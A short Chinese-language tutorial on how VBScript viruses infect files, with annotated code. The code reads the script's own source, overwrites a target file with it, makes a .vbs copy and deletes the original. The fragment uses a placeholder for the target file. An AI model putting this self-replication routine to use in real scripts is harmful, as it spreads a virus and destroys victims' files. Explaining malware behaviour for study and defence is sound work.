VBS病毒感染和搜索的原理

VBS脚本病毒一般是直接通过自我复制来感染文件的，病毒中的绝大部分代码都可以直接附加在其他同类程序的中间，譬如将自己的代码附加在.htm文件的尾部，并在顶部加入一条调用病毒代码的语句，或者是直接生成一个文件的副本，将病毒代码拷入其中，并以原文件名作为病毒文件名的前缀，vbs作为后缀。

下面的部分代码具体分析一下这类病毒的感染和搜索原理：

以下是文件感染的部分关键代码：

Set fso=createobject("scripting.filesystemobject")  '创建一个文件系统对象

set self=fso.opentextfile(wscript.scriptfullname,1)  '读打开当前文件（即病毒本身）

vbscopy=self.readall     ' 读取病毒全部代码到字符串变量vbscopy……

set ap=fso.opentextfile(目标文件.path,2,true)   ' 写打开目标文件，准备写入病毒代码

ap.write vbscopy   ' 将病毒代码覆盖目标文件

ap.close

set cop=fso.getfile(目标文件.path)   '得到目标文件路径

cop.copy(目标文件.path & ".vbs")    ' 创建另外一个病毒文件（以.vbs为后缀）

目标文件.delete(true)             '删除目标文件

上面描述了病毒文件是如何感染正常文件的：首先将病毒自身代码赋给字符串变量vbscopy，然后将这个字符串覆盖写到目标文件，并创建一个以目标文件名为文件名前缀、vbs为后缀的文件副本，最后删除目标文件。